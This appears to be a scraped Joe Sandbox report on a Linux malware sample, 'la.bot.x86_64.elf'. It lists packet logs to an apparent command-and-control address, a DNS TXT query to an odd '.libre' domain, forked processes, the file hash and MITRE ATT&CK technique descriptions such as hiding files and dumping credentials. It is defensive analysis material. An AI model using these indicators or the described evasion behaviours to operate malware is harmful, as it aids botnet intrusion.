Jan 15, 2025 05:12:59.521150112 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:12:59.521467924 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:13:08.992292881 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:13:08.997200966 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:13:08.997260094 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:13:09.002288103 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:13:23.520179987 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:13:23.525707960 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:13:23.525777102 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:13:23.530662060 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:13:37.576178074 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:13:37.892190933 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:13:38.349584103 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:13:38.349595070 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:13:38.705811977 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:13:38.705879927 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:13:52.092609882 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:13:52.097734928 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:13:52.103729963 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:13:52.109122992 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:14:05.104376078 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:14:05.109178066 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:14:05.109234095 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:14:05.114017010 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:14:18.766077995 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:14:18.771471024 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:14:18.771569967 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:14:18.776712894 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:14:31.996215105 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:14:32.003942966 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:14:32.004060030 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:14:32.010894060 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:14:47.008361101 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:14:47.014446020 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:14:47.014707088 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:14:47.020319939 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:15:00.264379025 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:15:00.270277977 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:15:00.270550013 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:15:00.275964975 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:15:13.224488974 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:15:13.229978085 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:15:13.230221033 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:15:13.235975027 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:15:24.747010946 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:15:24.747251034 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:15:34.756202936 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:15:34.761684895 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:15:34.761933088 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:15:34.766990900 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:15:49.768282890 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:15:49.773592949 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:15:49.773731947 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:15:49.778650045 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:16:03.924222946 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:16:03.930617094 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:16:03.931067944 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:16:03.937096119 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:16:16.480137110 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:16:16.485409021 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:16:16.485505104 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:16:16.490304947 CET	10321	56800	188.166.182.194	192.168.2.13

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 05:12:54.875724077 CET	44967	53	192.168.2.13	130.61.69.123
Jan 15, 2025 05:12:54.882417917 CET	53	44967	130.61.69.123	192.168.2.13
Jan 15, 2025 05:12:55.919722080 CET	54219	19302	192.168.2.13	74.125.250.129
Jan 15, 2025 05:12:56.370510101 CET	19302	54219	74.125.250.129	192.168.2.13
Jan 15, 2025 05:15:36.778017998 CET	37306	53	192.168.2.13	1.1.1.1
Jan 15, 2025 05:15:36.778076887 CET	46399	53	192.168.2.13	1.1.1.1
Jan 15, 2025 05:15:36.785131931 CET	53	46399	1.1.1.1	192.168.2.13
Jan 15, 2025 05:15:36.785232067 CET	53	37306	1.1.1.1	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 15, 2025 05:12:54.875724077 CET	192.168.2.13	130.61.69.123	0x3ed4	Standard query (0)	ai.stackoverflow.libre	16	IN (0x0001)	false
Jan 15, 2025 05:15:36.778017998 CET	192.168.2.13	1.1.1.1	0xf1c9	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 05:15:36.778076887 CET	192.168.2.13	1.1.1.1	0x81e4	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 15, 2025 05:12:54.882417917 CET	130.61.69.123	192.168.2.13	0x3ed4	No error (0)	ai.stackoverflow.libre		TXT (Text strings)	IN (0x0001)	false
Jan 15, 2025 05:15:36.785232067 CET	1.1.1.1	192.168.2.13	0xf1c9	No error (0)	daisy.ubuntu.com	162.213.35.24	A (IP address)	IN (0x0001)	false
Jan 15, 2025 05:15:36.785232067 CET	1.1.1.1	192.168.2.13	0xf1c9	No error (0)	daisy.ubuntu.com	162.213.35.25	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: la.bot.x86_64.elf PID: 5434, Parent PID: 5355

General

Start time (UTC):	04:12:52
Start date (UTC):	15/01/2025
Path:	/tmp/la.bot.x86_64.elf
Arguments:	/tmp/la.bot.x86_64.elf
File size:	95216 bytes
MD5 hash:	cfb666f58d6ad700f271fb3fd3df0692

File Activities

File Opened

File Read

File Moved

Directory Enumerated

Process Activities

Process Forked

Network Activities

Socket Listening

Socket Connecting

Chronological Activities

Analysis Process: la.bot.x86_64.elf PID: 5435, Parent PID: 5434

General

Start time (UTC):	04:12:53
Start date (UTC):	15/01/2025
Path:	/tmp/la.bot.x86_64.elf
Arguments:	-
File size:	95216 bytes
MD5 hash:	cfb666f58d6ad700f271fb3fd3df0692

File Activities

File Opened

File Read

Directory Enumerated

Process Activities

Thread Sleep

Chronological Activities

Analysis Process: la.bot.x86_64.elf PID: 5436, Parent PID: 5434

General

Start time (UTC):	04:12:53
Start date (UTC):	15/01/2025
Path:	/tmp/la.bot.x86_64.elf
Arguments:	-
File size:	95216 bytes
MD5 hash:	cfb666f58d6ad700f271fb3fd3df0692

File Activities

File Opened

File Deleted

Directory Enumerated

Process Activities

Thread Sleep

Chronological Activities

Analysis Process: la.bot.x86_64.elf PID: 5437, Parent PID: 5434

General

Start time (UTC):	04:12:53
Start date (UTC):	15/01/2025
Path:	/tmp/la.bot.x86_64.elf
Arguments:	-
File size:	95216 bytes
MD5 hash:	cfb666f58d6ad700f271fb3fd3df0692

File Activities

File Opened

File Read

Directory Enumerated

Process Activities

Prctl Requested

Thread Sleep

Chronological Activities

Analysis Process: la.bot.x86_64.elf PID: 5458, Parent PID: 5434

General

Start time (UTC):	04:12:53
Start date (UTC):	15/01/2025
Path:	/tmp/la.bot.x86_64.elf
Arguments:	-
File size:	95216 bytes
MD5 hash:	cfb666f58d6ad700f271fb3fd3df0692

Process Activities

Prctl Requested

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: la.bot.x86_64.elf PID: 5500, Parent PID: 5434

General

Start time (UTC):	04:12:53
Start date (UTC):	15/01/2025
Path:	/tmp/la.bot.x86_64.elf
Arguments:	-
File size:	95216 bytes
MD5 hash:	cfb666f58d6ad700f271fb3fd3df0692

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Deletion, File: File Metadata, File: File Modification, Firewall: Firewall Rule Modification, Network Traffic: Network Traffic Content, Process: OS API Execution, Process: Process Creation, Scheduled Job: Scheduled Job Modification, User Account: User Account Authentication, User Account: User Account Deletion, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, Google Workspace, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report la.bot.x86_64.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

HIPS / PFW / Operating System Protection Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/athens.txt

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: la.bot.x86_64.elf PID: 5434, Parent PID: 5355

General

File Activities

File Opened

File Read

File Moved

Directory Enumerated

Process Activities

Process Forked

Network Activities

Socket Listening

Linux Analysis Report
la.bot.x86_64.elf